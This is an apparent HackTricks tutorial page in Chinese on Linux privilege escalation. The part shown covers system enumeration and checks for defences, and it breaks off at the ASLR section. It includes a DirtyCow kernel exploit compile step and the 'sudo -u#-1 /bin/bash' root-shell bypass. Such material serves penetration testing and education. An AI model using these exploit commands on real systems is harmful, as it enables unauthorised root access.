hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 系统信息
  • 操作系统信息
  • 路径
  • 环境信息
  • 内核漏洞
  • CVE-2016-5195(DirtyCow)
  • Sudo版本
  • Dmesg签名验证失败
  • 更多系统枚举
  • 枚举可能的防御措施
  • AppArmor
  • Grsecurity
  • Grsecurity
  • PaX
  • PaX
  • Execshield
  • Execshield
  • SElinux
  • SElinux
  • ASLR
  • 地址空间布局随机化
  • Docker逃逸
  • 驱动器
  • 有用的软件
  • 已安装的易受攻击软件
  • 进程
  • 进程监控
  • 进程内存
  • ProcDump for Linux
  • 工具
  • 从进程内存中获取凭据
  • 定时任务/Cron 作业
  • Cron路径
  • 使用带通配符的脚本的 Cron 作业(通配符注入)
  • Cron脚本覆盖和符号链接
  • 频繁的 cron 作业
  • 隐形的定时任务
  • 服务
  • 可写的 .service 文件
  • 可写的服务二进制文件
  • systemd 路径 - 相对路径
  • 定时器
  • 可写的定时器
  • 启用计时器
  • 套接字
  • 可写的.socket文件
  • 可写套接字
  • 枚举Unix套接字
  • 原始连接
  • HTTP sockets
  • 可写的Docker套接字
  • 其他
  • Containerd (ctr) 特权升级
  • RunC 特权升级
  • D-Bus
  • 网络
  • 通用枚举
  • 开放端口
  • 嗅探
  • 用户
  • 通用枚举
  • 大 UID
  • 组
  • 剪贴板
  • 密码策略
  • 已知密码
  • Su Brute
  • 可写的 PATH 滥用
  • $PATH
  • SUDO 和 SUID
  • NOPASSWD
  • SETENV
  • 绕过路径执行Sudo
  • 没有指定命令路径的Sudo命令/SUID二进制文件
  • 具有命令路径的SUID二进制文件
  • LD_PRELOAD & LD_LIBRARY_PATH
  • SUID二进制文件 - .so注入
  • 共享对象劫持
  • GTFOBins
  • FallOfSudo
  • 重用Sudo令牌
  • /var/run/sudo/ts/<用户名>
  • /etc/sudoers, /etc/sudoers.d
  • DOAS
  • Sudo劫持
  • 共享库
  • ld.so
  • RPATH
  • 能力
  • 目录权限
  • ACLs
  • 打开shell会话
  • screen会话劫持
  • tmux会话劫持
  • SSH
  • Debian OpenSSL可预测PRNG - CVE-2008-0166
  • SSH有趣的配置值
  • PermitRootLogin
  • AuthorizedKeysFile
  • ForwardAgent/AllowAgentForwarding
  • 有趣的文件
  • 配置文件
  • Passwd/Shadow Files
  • 可写的 /etc/passwd
  • 检查文件夹
  • 奇怪的位置/被拥有的文件
  • 最近几分钟内修改的文件
  • Sqlite数据库文件
  • *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件
  • 隐藏文件
  • 路径中的脚本/可执行文件
  • Web文件
  • 备份
  • 已知包含密码的文件
  • 日志
  • Shell 文件
  • 通用凭证搜索/正则表达式
  • 可写文件
  • Python库劫持
  • Logrotate利用
  • /etc/sysconfig/network-scripts/ (Centos/Redhat)
  • init、init.d、systemd 和 rc.d
  • 其他技巧
  • NFS 特权升级
  • 从受限制的 Shell 中逃逸
  • Cisco - vmanage
  • 内核安全保护
  • 更多帮助
  • Linux/Unix 特权升级工具
  • 查找 Linux 本地特权升级向量的最佳工具: LinPEAS
  • 参考资料
  1. Linux Hardening

Linux Privilege Escalation

上一页Checklist - Linux Privilege Escalation下一页Arbitrary File Write to Root

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

系统信息

操作系统信息

让我们开始获取运行的操作系统的一些信息。

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

路径

如果您对PATH变量中的任何文件夹具有写权限,则可能能够劫持一些库或二进制文件:

echo $PATH

环境信息

环境变量中是否包含有密码、API密钥等敏感信息?

(env || set) 2>/dev/null

内核漏洞

检查内核版本,看是否存在可用于提升权限的漏洞。

cat /proc/version
uname -a
searchsploit "Linux Kernel"

要从该网站提取所有易受攻击的内核版本,您可以执行以下操作:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

以下是一些可用于搜索内核漏洞利用的工具:

始终在Google中搜索内核版本,也许你的内核版本已经写在某个内核漏洞利用中,这样你就可以确保该漏洞利用是有效的。

CVE-2016-5195(DirtyCow)

Linux权限提升 - Linux内核 <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo版本

基于出现在以下漏洞sudo版本:

searchsploit sudo

您可以使用以下grep命令检查sudo版本是否存在漏洞。

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

来自 @sickrov

sudo -u#-1 /bin/bash

Dmesg签名验证失败

检查HTB的smasher2 box,了解如何利用此漏洞的示例。

dmesg 2>/dev/null | grep "signature"

更多系统枚举

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

枚举可能的防御措施

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

